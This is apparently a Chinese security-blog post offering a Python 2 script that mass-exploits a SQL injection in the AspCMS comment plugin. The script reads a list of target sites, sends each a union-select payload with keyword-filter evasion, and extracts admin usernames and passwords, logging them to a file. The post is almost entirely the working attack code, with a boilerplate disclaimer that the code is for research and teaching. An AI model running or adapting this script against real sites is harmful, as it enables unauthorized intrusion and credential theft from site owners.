作者:ADminSS
#!/use/bin/python # -*- coding: utf-8 -*- import urllib2 version = ''' +----------------------------------------------------+ + Hacker By AdminSS Blog:www.lsafe.org + +----------------------------------------------------+ ''' print version url = list(open('aspcms.txt')) for c in url: try: response = urllib2.urlopen(c.strip('/n')+"/plug/comment/commentList.asp?id=0%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now%28%29,null,1%20%20frmasterom%20{prefix}user",timeout=3) htmls = response.read() username = htmls[htmls.find('</span>'):] password = htmls[htmls.find('<div class="line2">'):] print "URL :"+c print "USERNAME:"+username[16:22] print "PASSWORD:"+password[19:35] print "---------------------------------" fileput = open('adminss.txt', 'a') fileput.write("URL :"+c) fileput.write("USERNAME :"+username[16:22]+"/n") fileput.write("PASSWORD :"+password[19:35]+"/n") fileput.write("-----------------------------------"+"/n") fileput.close() except Exception,url: print "URL :"+c print str(url) print "---------------------------------"
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论